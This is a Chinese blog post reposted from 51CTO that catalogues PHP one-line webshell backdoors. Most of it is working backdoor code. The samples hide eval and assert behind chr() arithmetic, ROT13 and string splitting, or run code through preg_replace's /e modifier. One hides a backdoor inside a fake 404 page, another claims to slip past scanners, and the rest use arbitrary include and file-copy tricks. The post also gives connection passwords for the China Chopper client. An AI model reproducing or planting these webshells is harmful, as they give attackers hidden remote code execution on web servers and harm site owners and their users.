强悍的PHP一句话后门
常用一:
<?php $a=range(1,200);$b=chr($a[96-1+1]).chr($a[114-1+1]).chr($a[114-1+1]).chr($a[100-1+1]).chr($a[113-1+1]).chr($a[115-1+1]);
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>
所以连起来就是
assert(${_POST}[4]);
密码就是4
常用二:
<?php
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
?>
使用上跟原来的一句话没有区别,可用常用的客户端连接密码b4dboy。
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果。
这类后门让网站、服务器管理员很是头疼经常要换着方法进行各种检测而很多新出现的编写技术用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。
利用404页面隐藏PHP小马
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
404页面是网站常用的文件一般建议好后很少有人会去对它进行检查修改这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话
<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
将$_POST['code']的内容赋值给$_SESSION['theCode']然后执行$_SESSION['theCode']亮点是没有特征码。用扫描工具来检查代码的话是不会报警的达到目的了。
三个变形的一句话PHP木马
第一个
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里写http://site/1.php?2=assert密码是1
第二个
<?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽或者用其它注射工具也可以因为是post提交的。
第三个
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即编码后的eval完全避开了关键字又不失效果让人吐血
最后列几个高级的PHP一句话木马后门
1、
$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include ($filename);
//危险的include函数直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、
include ($uid);
//危险的include函数直接编译任何文件为php格式运行POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、
典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话
综上这些PHP一句话后门可谓五脏俱全一不小心您肯定中招了。
本文转自 gutaotao1989 51CTO博客,原文链接:http://blog.51cto.com/taoyouth/1742681